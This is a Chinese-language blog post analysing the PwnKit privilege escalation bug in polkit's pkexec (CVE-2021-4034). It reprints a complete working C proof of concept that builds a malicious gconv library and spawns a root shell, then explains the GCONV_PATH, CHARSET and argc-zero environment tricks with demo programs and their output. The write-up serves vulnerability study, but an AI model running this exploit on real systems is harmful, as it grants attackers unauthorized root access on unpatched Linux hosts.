pwnkit漏洞分析-CVE-2021-4034

研究了一下前段時間的Polkit提權漏洞,裏面有很多以前不知道的技巧。漏洞很好用,通殺CENTOS、UBUNTU各版本。

主要是分析這個POC觸發原理。POC如下:

/*
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <[email protected]>
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
    "#include <stdio.h>\n"
    "#include <stdlib.h>\n"
    "#include <unistd.h>\n\n"
    "void gconv() {}\n"
    "void gconv_init() {\n"
    "    setuid(0); setgid(0);\n"
    "    seteuid(0); setegid(0);\n"
    "    system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
    "    exit(0);\n"
    "}";

int main(int argc, char *argv[]) {
    FILE *fp;
    system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
    system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
    fp = fopen("pwnkit/pwnkit.c", "w");
    fprintf(fp, "%s", shell);
    fclose(fp);
    system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
    char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
    execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

這個POC大致思路是這樣:

1、通過向execve傳遞環境變量參數,最終是爲了改變GCONV_PATH(如何改變看分析三);

2、通過pkexec中主函數對參數的處理,由於argv和envp相鄰棧空間,通過溢出修改環境變量envp;

3、藉助pkexec中的g_printerr函數,以編碼轉換爲目的,執行對應鏈接庫.so中的函數得到執行權限(看分析一);

一、先分析幾個和該漏洞相關的重點,分析GCONV_PATH環境變量在提權中的作用:

通過網上幾篇php disable_functions bypass的文章,瞭解php的iconv函數(編碼轉換函數)實際是調用glibc中的函數iconv_open()。觸發了iconv_open函數會執行:

1、根據GCONV_PATH環境變量,找到gconv-modules配置文件;

2、根據gconv-modules配置文件,可以找到需要轉換編碼對應的.so文件;

3、調用.so文件中的gconv()和gconv_init()函數;

所以只要改變GCONV_PATH的變量,然後把執行語句放入.so中的gconv_init()函數,通過編碼轉換函數iconv就可以得到執行。在本次提權漏洞中pkexec中調用了glibc的g_printerr函數。g_printerr函數用來輸出錯誤信息,但是如果環境變量CHARSET不是utf-8,g_printerr()函數就會調用iconv_open(),將編碼轉換成CHARSET設定的編碼,通過在GCONV_PATH的gconv-modules找到對應編碼的.so路徑,來執行編碼函數實現編碼。

演示一下這一部分:

調用glibc的g_printerr函數。生成可執行文件printerr_

#include <stdio.h>
#include <stdlib.h>
#include <glib.h>

int main(int argc, char *argv[]) {
        g_printerr("xx");
        return 0;
}

在/root/pwnkit目錄生成pwnkit.so

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}
void gconv_init() {
    printf("%s","i am so");
}

在/root/pwnkit目錄生成gconv-modules

module UTF-8// PWNKIT// /root/pwnkit/pwnkit 2

修改環境變量

export GCONV_PATH=/root/pwnkit
export CHARSET=PWNKIT

執行

[root@vpanda-01 ~]# ./printerr_ 
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
xxi am soYou have mail in /var/spool/mail/root

可以看到printerr_在執行g_printerr函數的時候,因爲環境變量的改變,成功執行了pwnkit.so中的gconv_init函數。

二、分析execve接收的參數:

閱讀manpage,execve命令可以在程序中執行新的另一個程序,並帶入參數和環境變量。

execve(const char *path, char *const argv[], char *const envp[]);

比較普通執行程序和通過execve執行在參數上的區別。

新建普通程序

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[],char *envp[]) {
    printf("argc=%d\n",argc);
    printf("argv[0]=%s\n",argv[0]);
    printf("argv[1]=%s\n",argv[1]);
    printf("argv[2]=%s\n",argv[2]);
    printf("argv[3]=%s\n",argv[3]);
    printf("argv[4]=%s\n",argv[4]);
    int i;
        for(i=0;i<7;i++){
                printf("envp[%d]=%s\n",i,envp[i]);
        }    
    printf("\n");    
    return 0;
}

輸出結果如下:

argc=1
argv[0]=./a.out
argv[1]=(null)
argv[2]=HOSTNAME=vpanda-01
argv[3]=TERM=xterm
argv[4]=SHELL=pwnkit
envp[0]=HOSTNAME=vpanda-01
envp[1]=TERM=xterm
envp[2]=SHELL=pwnkit
envp[3]=HISTSIZE=1000
envp[4]=SSH_CLIENT=1.1.1.1 34540 22
envp[5]=OLDPWD=/root/pwnkit
envp[6]=SSH_TTY=/dev/pts/4

當不跟參數的時候,argc只有程序名本身1,環境變量在argv指針往後延可以繼續讀取。

使用execve調用後,這裏帶入參數(char*[]){NULL},以及envp環境變量

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[],char *envp[]) {
    char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
    execve("./a.out", (char*[]){NULL}, envp);
    return 0;
}

輸出結果

[root@vpanda-01 ~]# ./testrun 
argc=0
argv[0]=(null)
argv[1]=HOSTNAME=vpanda-01
argv[2]=TERM=xterm
argv[3]=SHELL=pwnkit
argv[4]=HISTSIZE=1000
envp[0]=HOSTNAME=vpanda-01
envp[1]=TERM=xterm
envp[2]=SHELL=pwnkit
envp[3]=HISTSIZE=1000
envp[4]=SSH_CLIENT=1.1.1.1 34540 22
envp[5]=OLDPWD=/root/pwnkit
envp[6]=SSH_TTY=/dev/pts/4

替換爲參數env後

[root@vpanda-01 ~]# ./testrun
argc=0
argv[0]=(null)
argv[1]=pwnkit
argv[2]=PATH=GCONV_PATH=.
argv[3]=CHARSET=PWNKIT
argv[4]=SHELL=pwnkit
envp[0]=pwnkit
envp[1]=PATH=GCONV_PATH=.
envp[2]=CHARSET=PWNKIT
envp[3]=SHELL=pwnkit
envp[4]=(null)

此時,由於帶入參數問題,argc爲0,將造成pkexec漏洞觸發,見分析三。

三、分析pkexec本身:

分析源代碼pkexec.c的main函數

因爲execve帶入,argc等於0,所以n=1以後n<argc的條件不滿足

 path=argv[1]=pwnkit

 

滿足這個條件,執行g_find_program_in_path(path)

通過環境變量PATH得到絕對路徑,argv[1] = GCONV_PATH=./pwnkit

因爲argv[1]的指針就是enpv[0],所以在程序中環境變量的第一個變量被改變爲GCONV_PATH=./pwnkit。

所以通過execve傳遞null參數,然後藉助pkexec本身可以修改程序當前環境變量,比如在這裏修改環境變量GCONV_PATH。

最後通過g_printerr函數與當前的非UTF-8環境,造成gconv_init執行,造成/bin/bash程序執行,恢復環境變量得到root shell。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章